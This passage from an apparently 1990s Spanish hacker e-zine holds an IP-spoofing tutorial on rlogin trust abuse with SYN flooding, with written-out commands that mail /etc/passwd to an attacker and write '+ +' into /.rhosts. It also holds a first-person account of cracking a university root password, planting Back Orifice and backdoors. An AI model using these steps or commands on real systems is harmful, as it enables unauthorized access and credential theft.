ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 10 ³ ³ <------- ³ ACK ³ ³
ÀÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Los pasos 1, 2 y 3 son el establecimiento de la conexion.
El paso 4 es la solicitud de datos ( ls) junto con el usuario (guest) y su
contrase¤a (adm) acompa¤ado de un PUSH indicando que ha terminado la peticion.
Los pasos 5 y 6 indican que el host B recibio y entendio correctamente la
peticion y pasa al envio de los datos solicitados, dado que el user/pass es
correcto.
En el paso 7 se realiza el envio de los datos solicitados junto con el bit
FIN a 1 indicando que se transmitieron todos los datos en ese paquete.
Si la solicitud hubiera sido, por ejemplo, 'cat *' nos habria dado la
respuesta en varios paquetes puesto que no cabrian todos los datos en uno
solo y, el bit FIN solo vendria a 1 en el ultimo paquete.
El paso 8 indica que el host A recibio los datos correctamente.
Los pasos 9 y 10 son el cierre de la conexion.

A continuacion escribire los numeros de secuencia de los paquetes para una
mejor comprension:

ÚÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Paso³ HOST A ³ Direccion ³ HOST B ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄ´
³ ³ SEQ ³ ACK ³ ³ SEQ ³ ACK ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ ³ ³ ³ ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ 1 ³ 000B3CBC ³ ³ --------> ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ 2 ³ ³ ³ <-------- ³ 5F3CD001 ³ 000B3CBD ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ 3 ³ 000B3CBD ³ 5F3CD002 ³ --------> ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ 4 ³ 000B3CBD ³ 5F3CD002 ³ --------> ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ 5 ³ ³ ³ <-------- ³ 5F3CD002 ³ 000B3CD0 ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ 6 ³ ³ ³ <-------- ³ 5F3CD002 ³ 000B3CD0 ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ 7 ³ ³ ³ <-------- ³ 5F3CD003 ³ 000B3CD0 ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ 8 ³ 000B3CD0 ³ 5F3CD0CB ³ --------> ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ 9 ³ 000B3CD0 ³ 5F3CD0CB ³ --------> ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´
³ 10 ³ ³ ³ <------- ³ 5F3CD0CB ³ 000B3CD1 ³
ÀÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÙ


06.Tecnicas de IP-spoofing
~~~~~~~~~~~~~~~~~~~~~~~
Hasta ahora hemos visto como se realiza una conexion y una transmision de
datos. Si has entendido bien todo esto, ya estas preparado para entender en
que consiste el ataque; si, por el contrario, no te has enterado de nada,
mejor que no sigas leyendo.

El IP-spoofing tiene muchas aplicaciones, es decir, hay diversas formas de
aprovechar esta debilidad. Podemos atacar a distintos puertos de formas
diferentes.
En este texto nombrare unos cuantos para que os podais hacer una ligera idea
pero me centrare en el ataque al puerto 513 (rlogin).

Si de verdad se ha entendido el funcionamiento del protocolo TCP, podemos
dejar volar nuestra imaginacion y realizar programas que ataquen distintos
servicios, por ejemplo:

* rlogin: dado que este servicio no requiere autentificacion, podemos atacar
un sistema enmascarando paquetes y haciendonos pasar por un host 'amigo'
del host objetivo. Esto lo explicare en el siguiente capitulo.

* hijacking: este ataque consiste en monitorizar paquetes y, llegado el
momento adecuado, robar una conexion. Tambien sirve para putear a alguien
dado que podemos resetear (con el flag RST) las conexiones de otros host.
Para poder realizar este ataque debemos estar en la misma subred que los
dos hosts que mantienen la comunicacion y, ademas, necesitamos software de
hijacking, naturalmente.

* rsh: el rshell o ejecucion remota de comandos requiere autentificacion,
pero, si disponemos de una combinacion de login/pass de algun usuario sin
privilegios y queremos acceder al sistema sin dejar ningun rastro, podemos
usar el spoofing para realizar una conexion similar a la del ejemplo, pero
en lugar de enviar un 'ls' en el campo de datos, podemos enviar un 'mail
mi@direccion.de.correo < /etc/passwd' o cualquier otra cosa que se nos
ocurra.


07.Entendiendo el funcionamiento de rlogin
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Es importante entender como funciona el servicio rlogin para poder realizar
este tipo de ataque. El servicio numero 513 (o rlogin) sirve para realizar
conexiones, de manera muy similar al telnet, pero con la diferencia de que no
requiere autentificacion, es decir, permite acceder al sistema sin la
necesidad de introducir un usuario y un password. Sin embargo, no permite la
conexion a todo el mundo sino que solo deja acceder al sistema a unas IPs
determinadas. Estas IPs son almacenadas en el fichero .rhosts situado en el
directorio home de cada usuario y contiene los datos de los hosts y de los
usuario que pueden acceder. Por ejemplo, un fichero .rhosts podria contener:

microsoft.com guest

Esto quiere decir que el usuario 'guest' del host 'microsoft.com' puede
acceder por rlogin a ese sistema, a la cuenta de ese usuario (del usuario que
ha configurado asi su .rhosts).

Otro ejemplo podria ser:

microsoft.com +

De esta forma podria acceder cualquier usuario del host 'microsoft.com'. Y si
ademas ponemos un '+' en el campo correspondiente al host querra decir que
cualquier usuario de cualquier host puede acceder sin contrase¤a a esa cuenta
de ese sistema.

Si el fichero .rhost que contiene los dos '+' fuera el que esta en el
directorio '/', accederiamos a la cuenta de root con privilegios de
superusuario.

Otra alternativa para usar el rlogin es que el root configure el fichero
'/etc/hosts.equiv' de manera similar al .rhosts, pero de esta forma seria a
nivel de todo el sistema y no solo del usuario que modifico su .rhosts.


08.Buscando un trusted host
~~~~~~~~~~~~~~~~~~~~~~~~
Primeramente hay que buscar un buen objetivo para poder poner en practica
este dificil ataque.
Hay que encontrar un hosts con el servicio 513 disponible y hay que suponer
los hosts y usuarios a los que podria permitir el acceso.

Dada la dificultad de este ataque vamos a buscar como objetivo al usuario
root de un sistema y no a otro usuario sin privilegios.
Por tanto, debemos 'suponer' a que maquinas puede dar acceso como root el
host que hemos elegido.

Esto nos lleva a hacer un estudio del sistema antes de realizar el ataque.
Asi, mediante los comandos 'traceroute', 'showmount', 'rpcinfo', y otros,
intentaremos sacar la maxima informacion posible e intentar intuir los hosts
a los que el administrador (o root) puede acceder por rlogin.


09.Realizando el ataque
~~~~~~~~~~~~~~~~~~~~
Si nosotros intentaramos realizar una conexion a un host, cuando enviemos el
primer SYN, nos responderan con un RST dado que no estaremos en su '.rhosts'.
Pero si falseamos un paquete haciendonos pasar por un host con acceso al
sistema, podremos acceder a el sin impedimentos.

Pero esto no es tan sencillo. Trae algunas dificultades muy importantes que
debemos entender bien.

Primero, si nosotros somos el host A y enviamos un paquete al host B
haciendonos pasar por el host C (suponiendo que C si que tenga acceso a B) el
host B respondera con SYN + ACK pero no a nosotros sino al host C; por tanto,
como este no realizo ninguna peticion de conexion, finalizara con un RST y
todo se acabo. Veamos un ejemplo:

ÚÄÄÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Paso³ ³ Direccion ³ ³ Descripcion ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ ³ ³ ³ ³ ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 1 ³ SYN ³ A ----> B ³ ³ (A se hace pasar por C) ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 2 ³ ³ C <---- B ³ SYN+ACK ³ (B responde a C) ³
ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 3 ³ RST ³ C ----> B ³ ³ (C cierra la conexion) ³
ÀÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Para que no ocurra esto debemos enviar el SYN a B y esperar un tiempo (el que
tardaria B en respondernos) y despues enviar de nuevo a B un ACK, como si
hubieramos recibido correctamente el paquete con el SYN + ACK. Ademas, como
el hosts C recibira la respuesta de B hay que 'mantenerlo ocupado' para que
no pueda enviarle a B el RST hasta que no realicemos la conexion. Para ello
debemos hacer un SYN flooding a C al mismo tiempo que realizamos la conexion
con B.

El SYN flooding consiste en floodear (enviar muchos paquetes seguidos) a C
solicitando conexiones, es decir, con el bit SYN a 1; de manera que le
saturemos su buffer y no pueda responder a todas las peticiones. Asi, cuando
le llegue el paquete de B sera ignorado ya que estaremos saturando su pila o
backlog. Mas o menos seria algo asi:

ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
³ HOST A ³ Direccion ³ HOST B ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ ³ ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ SYN ³ --------> ³ ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ SYN ³ --------> ³ ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ SYN ³ --------> ³ ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ SYN ³ --------> ³ ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ SYN ³ --------> ³ ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ ..... ³ ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ <-------- ³ SYN+ACK ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ <-------- ³ SYN+ACK ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ <-------- ³ SYN+ACK ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ <-------- ³ SYN+ACK ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ <-------- ³ SYN+ACK ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ ..... ³ ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³ ³ <-------- ³ RST ³
ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ

Otra alternativa para no tener que hacer el SYN flooding seria el utilizar
como host C una maquina inexistente. Para ello debemos hacer ping a IPs
aleatoriamente y cuando veamos una que no responde, podremos usar esa.

Una vez realizado el saludo procederemos al envio de los datos en el que
podriamos poner algo como 'echo + + > /.rhosts'. Con lo cual, ya podremos
acceder como root realizando un rlogin.

Un detalle importante en este ataque es que si el host objetivo no usase
numeros de secuencia consecutivos no se podria llevar a cabo.


10.Conclusion
~~~~~~~~~~
Este tipo de ataque requiere unos amplios conocimientos sobre TCP/IP y es
bastante dificil de realizar con un software que no se entiende. Cada host
objetivo requiere unos tiempos de espera distintos y a veces hay que jugar
con ellos hasta conseguir nuestro objetivo.

Tambien es aconsejable realizar el ataque monitorizando los datos enviados y
recibidos para ver el porque no funciona dado que puede ser porque el host C
haya respondido o porque los numeros de secuencia no sean aleatorios o, lo
mas comun, que no hayamos probado con el host / user adecuados.




---- { R16_04 } --------------------------------------------------------------

-------- { Mi primera vez } --------------------------------------------------

--- { ReYDeS }


----------------------------------=ADVERTENCIA=-------------------------------

Todo lo relatado a continuacion es real, nada a sido aumentado, ni modificado
pues no gano, ni pierdo nada si lo hago...

------------------------------------------------------------------------------

Ademas...

Lo que me impulso a escribir esto, es el dirigirlo a aquellos que empiezan en
este mundo tan maravilloso del Hacking, para que no cometan los mismos errores
que cometi yo, y que tantos problemas a mi persona y los que me rodean cerca-
namente, acarrean.

Bueno, les invito cordialmente a leer, lo que viene a continuacion y de paso
tambien recuerdo yo aquellos momentos tan singulares.

------------------------FIN DE ADVERTENCIA---------------------


>BEGIN OF FILE

Parece mentira que haya pasado mas de un a¤o, desde aquella noche
que hize mi primer hack, gracias a un manual de Hacking, que encontre en la
Red. En aquella epoca, era apenas un simple joven que estaba comenzando sus
estudios en una Universidad Nacional del Peru, y que estaba maravillado y a
la vez confundido respecto a internet.

Mi ingreso a este mundo, fue a traves del cracking, pues estaba un
poco molesto, pues un programa que necesitaba en aquella epoca me decia que
lo compre, pues ya habian, pasado 30 dias. Buscaba la solucion, y en unas de
mis conversaciones en el mIRC conoci a un amigo que me contacto con este mundo
y ademas me hablo un poco mas sobre este tema, asi empieza mi aventura...

Luego de tener conocimiento de este mundo, las noches y semanas
subsiguientes las dedique a investigar mas sobre este tema, me pasaba horas
conectado a internet, visitando paginas de hackers y trantando de obtener toda
la informacion posible sobre el tema. Pero bueno, esa es una historia aparte,
vamos a lo realmente interesante... mi primera vez.

Habiendo pasado +o- un a¤o desde mis inicios, y cursando ya la mitad
de mis estudios universitarios en Informatica.Y con una reputacion de "hacker"
que es un secreto a voces... decido formar un grupo con algunos amigos que
estudian conmigo en la Universidad. Creo yo, que fue un error, no en el
"fondo" sino en la "forma", pues la informacion debe de ser libre.

Bueno, decido formar mi grupo, dandomelas de gran hacker, cuando
apenas soy un novato, no un lamer, se muy bien cual es la diferencia y espero
que aquellos que lean esto tambien. Hicimos nuestra primera reunion, nuestras
leyes o reglas, entre las cuales estaban, dos muy interesantes... como son
no pertenecer a ninguna religion, y una muy machista, no mujeres en el grupo
Asi empezamos, ya estaba formado todo, eramos solo 3 integrantes, y para mi
era suficiente, pero habian 2 amigos mas intersados en este tema, asi que
decidimos, dejarlos como "postulantes", aunque claro, no tendrian partici-
pacion en las desiciones del grupo.

El primer punto, fue lograr el ansiado root del servidor que
proporciona el acceso a internet en nuestro laboratorio, asi que decidimos
hacer una segundo reunion, en la casa de uno de nosotros, con los 5, es decir
los que querian ingresar tambien. Aqui hay un detalle, en la reunion habian 6
pero... no quiero dudar de ese numero 6, que es un buen amigo y el cual cumple,
un interesante rol en esta historia. Bueno en esta reunion nos repartimos el
archivos de Passwords del servidor, obtenido gracias a que el postmaster,
perdon... gracias que los 3 postmaster no configuran bien los archivos, bueno,
que se le va a hacer...!.

En esta parte quiero hacer un alto para comentar que uno de esos 3
postmasters pude haber sido yo, digamos que en las votaciones que hubo perdi
por una nariz "literalmente hablando", ya que tenia el apoyo y la reputacion
para serlo. Aunque ahora que lo pienso mejor, imaginense... yo de postmaster!,
JaJA!...es risible...el asunto... pero estuve a punto de serlo. Otra cosa que
viene al caso es que, antes cuando cursaba los primeros ciclos de mi profesion
solo habia un postmaster para todos los ciclos, ahora, hace pocos meses hubo
una restruccturacion, en la cual cada ciclo, tiene sus postmaster, excepto,
los recien ingresados. Esto es un punto intersante, pues el postmaster de mi
correspondiente ciclo, es digamos mi "amigo", y bueno... recuerdo que una
vez me reto, diciendome algo como que tratara de hacerle algo al servidor, si
podia, con un tono peculiar, en esos momentos no lo tome muy en serio, ahora,
pues, me da risa recordarlo.

Bueno, estaba en la reunion, y los passwords, bueno, una vez repartidos
los passwords y el "JOHN", el objetivo primordial era el root, y los UIDs 0,
hasta aqui... no problems, but, aparecio el bendito BO, y bueno, mientras
esperabamos al root, decidimos instalarlo y controlar todas las maquinas de
nuestro laboratorio, y demas maquinas conectadas a nuestro servidor, es decir,
otras facultades.. wow!, la cosa ya no era solo nuestro laboratorio, ahora era
los laboratorios de la Universidad, y despues el mundo!...perdon!... divago!..
La instalacion y las maravillas que hace el BO, pusieron un poco inquietos a
los postmaster, pues sucedian cosas "raras", en las maquinas, se reseteaban,
se hacian lentas, aparecian mensajes raros, etc, etc. Aqui empiezan nuestros
problemas, y claro... hechenle la culpa al "hacker", claro!...

Algun noches despues, me siento en mi querida computadora, y el JOHN,
empieza su acostumbrada labor, termina un diccionario, y decido ponerle otro,
segundos despues...............................lo esperado....................
el root!....si el RoOT.... el password del root acompa¤ado de un pitido de mi
computadora, hace su aparicion en mi monitor de 14 pulgadas!.....lo tenia lo
tenia!................saben lo que se siente, pues es inexplicable... no lo
podia creer era tan comun, letras y numeros al final (2 numeros)..............
la sangre y el corazon se me detuvieron por un segundo, en el mundo solo
existia mi monitor y esa linea en la cual el john me mostraba, ese password,
perseguido y anhelado tantas veces, lo tenia.... di un salto!, de mi silla
y.............

Permitanme otro momento, en la ultima reunion con mi grupo decidimos
que si alguno de nosotros lograba el password del root, se comunicaria
inmediatamente con los demas integrantes, para reunirnos y decidir las
acciones a tomar.

...........corri a dar aviso a uno de los integrantes del grupo, que
vive a unas casas de la mia... parecia que la salida de mi casa quedaba mas
lejos... le comunique lo sucedido, e inmediatamente decidimos dar aviso a los
demas integrantes... era un sabado en la noche, bueno...quien esta un sabado
en la noche en su casa...pues yo si...mi amigo tambien, claro que si mal no
recuerdo eran algo mas de las 21 horas..., llamamos a todos los integrantes del
grupo, pero no hubo respuesta... la mayoria estaba en alguna fiesta de fin de
semana, o no respondian el telefono... pues era un poco tarde... Pero yo, yo
no podia esperar, asi que hize un trato con mi amigo y decidimos ingresar esa
misma noche... como root.... Mientras esperabamos que sea la hora 0, yo me
dedique a recopilar todo el material necesario, para no dejar huellas, poner
algunas backdoors, en fin asegurar mi ingreso futuro...

Finalmente llego el momento, era la hora de ingresar...

Otro lapso en este relato...debo admitir que cometi muchos errores,
sean lo que sean son postmaster y no se debe de subestimarlos, ya que son 3
contra uno, pero aun asi...

Ingrese, era un momento historico... ingrese como root descarademente,
sin ninguna medida de precaucion, excepto un IP obtenido de Telefonica, hize
mi entrada pero no podia hacer mucho, la conexion era muy lenta y por momentos
llegaba al punto de la desesperacion, lo unico que pude lograr hacer fue la
colocacion de una backdoor, como era domingo no habia nadie en la Universidad,
y un poco mas tarde podria nuevamente intentar ingresar y hacer todo lo
necesario. Bueno coloque mi backdoor, y digamos que por respetar los signos de
puntuacion...eh!...sigan leyendo, no adelantemos..; cuando termine de colo-
carlo, pense que todo lo habia hecho bien... y despues de una descarga de
adrenalida, me fui a "descansar", dentro de unas horas mas ingresaria otra vez
y completaria mi trabajo.

En la ma¤ana de aquel mismo dia, decidi ingresar desde una cabina
publica, era domingo, y estas habrian pasadas las 10 horas... cuando llege...
me di con la sorpresa, que habian un corte de luz que afectaba casi la mayor
parte de la ciudad en la cual habito... claro!.... tenia que ser...; pense, si
yo no tenia que ver algo con esto, o con lo que hize... Paranoia!... si y que?
No podia hacer nada... tome contacto con otro de los integrantes y le
comunique la noticia... el root... asi es que ese dia estaba literalmente
perdido, asi es que al dia siguiente ingresariamos nuevamente; vuelvo a
recalcar que era domingo y la Universidad estaba cerrada.. asi es que no habia
peligro que nos detectaran, asi pues, al dia siguiente, fuimos nuevamente con
este integrante a la cabina publica, todo estaba preparado.

En este punto quiero decir, que entre las cosas que haria, aprovechando
el root, estaban la colocacion de un rootkit, el cambio de la pagina web de mi
facultad, el ingreso a algunas cuentas de interes del grupo, entre otras cosas
interesantes... sigamos...

Una vez en la cabina publica... telnet... no connection!.............
caray!...........nuevamente....esta vez desde otra maquina... no connection!...
Mi amigo y yo pensamos lo peor....nos habrian acaso decubierto?.. sabrian de
nuestra entrada!... del root!... me quede frio... pense lo peor... ya veia a
la policia en el frente de mi casa a mi madre llorando... intentanto convencerse
de que yo no haria algo asi...!, diantres!...

Bueno, despues de algunos intentos, y de comentarios nada oportunos
decidimos dejar las cosas como estaban, dando inmediato aviso a todo el grupo.
Le encomende la mision de averiguar si el Servidor estaba bien, es decir si
habia algun movimiento extra¤o en el laboratorio...; y desgraciadamente asi
fue, el servidor estaba "malogrado", nadie sabia que es lo que pasaba los
postmaster estaban como locos, no se explicaban lo que sucedia, algunos
"encargados", de rango mas superior, tambien estaban desconcertados, segun
escuche, algunos decian, que era un Virus; otros decian que era culpa de
Telefonica, eso esta mejor!... en fin muchas historias, nosotros sabiamos que
era lo que en realidad habia sucedido; saben una cosa me dio gracia, la razon
es que nunca pense que podria causar tanto alboroto, y afectar las cosas en ese
grado, por ejemplo, normalmente el laboratorio esta lleno, ocupado la mayor
parte del tiempo, en esos dias que duro mi "travesura", pues los alumnos se
dedicaban a jugar "doom", a revisar archivos, y lo mejor de todo... pues como
no habia conexion a internet, ni podian usar sus cuentas de correo, pues no
les quedaba otro remedio que hacer sus trabajos, como programar, o hacer sus
reportes... JA!...ja!, algo rescatable de todo este asunto >:)..

Si ja, ja, pero aqui termina la gracia, ya que poco despues de arreglar
mi "travesura", y que todo volviera a la normalidad; hubo un disparador... mejor
dicho hubo un soplon; segun me comentaron, fue por que no lo admitimos o no
quisimos que el ingresara al grupo, no estuvo del todo muy claro, pero lo que
sucedio, fue que una noche, estaba yo en mi Pc, cuando de pronto mi amigo me
viene a visitar, con una expresion no muy optimista, me dice que lo acababan de
llamar por telefono, saben quien?... pues ese "numero 6", que mencione antes,
bueno, me conto que habian revisado las cuentas de la mayoria de los integrantes
del grupo, que habian revisado nuestros correos, nuestros archivos en el ftp,
nuestra bitacoras, todos nuestros moviemientos, especialmente...adivinen de
quien?...pues mi cuenta... segun me dijo, encontraron el BO, en algunas
cuentas, encontraron entradas "No autorizadas" al servidor... caray!, eso me
suena a "Relaciones Impropias"... verdad?... ademas de algunas cositas mas que
no vienen al caso, bueno, parecia que todo habia culminado.

Es alli cuando la realidad te golpea, cuando eres decubierto... bueno
esa noche mi amigo yo conversamos durante un buen rato, claro que damos aviso
a los demas integrantes, que no sabian lo ocurrido, esta vez si conseguimos
darles aviso, y hariamos una reunion... para decidir que es lo que ibamos
a hacer... asi fue... Nos reuniriamos, en frente de nuestra universidad en la
ma¤ana, llegado el momento comprobe que soy paranoico, pues parecia que por mi
delante pasaban mas patrulleros que lo acostumbrado, a los vigilantes de la
puerta de entrada a mi Uni, parecia verlos con un rostro raro, en fin... me
sentia vigilado... Una vez todos reunidos, necesitabamos recabar mas informacion
de lo ocurrido, asi que conversamos con ese numero 6 y nos relato todo lo
ocurrido y que el mas jodid*, era yo...y yo porque?... claro... repito nuevamente
echenle la culpa al "hacker"... Y lo demas pues lo demas es historia...

Hubieron llamadas de atencion por parte de mi querido postmaster, me
cree nuevos "antiamigos", decidi que mi grupo se disolviera hasta que las
aguas volvieran a calmarse, como el ciclo finalizaba, pues las cosas se
calmarian... Pero NO!... ahora resulta que me acusan de otra cosa, que yo no
hice... bueno, si lo hubiera hecho, pues seria otra cosa... una vez compruebo,
que por saber un poco mas que los demas... traen envidias, y quieren verte
hundido, creo que eso ocurre... alguien quiere verme hundido... bueno
tal vez en otra oportunidad les cuente como acaba esa historia... Bueno...sigo.

Para culminar... decidi calmarme, gracias a algunos consejos que me
dieron, decidi apartarme de las cosas que hago... ello no significa que deje
de aprender lo que me interesa, solo que ahora tengo que pensar en algunas
personas que no estaban conmigo,

  
cuando empece con todo esto, ademas tengo
que pensar en mi familia, no quiero ver a mi madre ni a mi hermana sufrir por
causa mia, no quiero terminar en una prision siendo el primer estudiante de
informatica procesado, con un nuevo codigo penal aplicado a los delitos
informaticos.... Bueno, hasta el momento me esta costando mucho trabajo no hacer
las cosas que acostumbro, pero... cuando tu conciencia tiene un rostro tan bello
... que puedes hacer... (no me refiero a mi rostro, sino a mi ....)

Asi es que mis queridos amigos, para aquellos que empiezen en esto,
tomen en cuenta el riesgo, y piensen muy bien antes de hacer algo.

Por ello decido tomarme un retiro temporal, diantres!... empece con esto
cuando tenia 19 a¤os, ahora tengo 20... que poco duro esta primera etapa...
no se!, tal vez vuelva con mas fuerza la proxima vez...quien sabe... o tal vez
me retire y me dedique a tocar mi guitarra... me dedique a ser musico... ja!
ja!... un hacker musico... interesante!... buena conbinacion...!

>END OF FILE


Bueno mis amigos... no me queda mas que dar gracias a mi madre por dar
vida a este ser tan maravillo, por soportarlo, tambien a mi hermana... grande!,
a mi padre, y a mi querida "amiga"... ah!, claro tambien a mi Theos!...

Gracias a la humadidad!....

------------------------------------------------------------------------------
ReYDeS - 1998..... Alguna ciudad del Peru...

e.mail: reydes@sdf.lonestar.org
------------------------------------------------------------------------------





---- { R16_05 } --------------------------------------------------------------

-------- { REPROGRAMACION DE LAS CENTRALITAS DE LA POLICIA NACIONAL } --------

--- { Edmon Dantes }


--> ADVERTENCIA LEGAL <--
-------------------------

Quiero dejar claro que la informacion que aqui expongo, en ningun
momento la digo con animo de ofender o inducir a la comision de delito alguno,
un mal uso de esta, puede acarrear graves problemas tanto al centro propieta-
rio de la misma, como a posibles acciones subsidiarias derivadas de una
temporal incapacidad operativa de un cuerpo como es la Policia Nacional,
recuerda que ademas de atender llamadas sobre gamberros que arracan cabinas,
reciben muchas para realizar la tarea social que tienen encomendada.

Quiero dejar bien claro que con la policia no se juega, piensa en posi-
bles acciones que sobrevendran si te pasas con esta informacion.

­La ultima decision es tuya, pero piensala con cuidado!


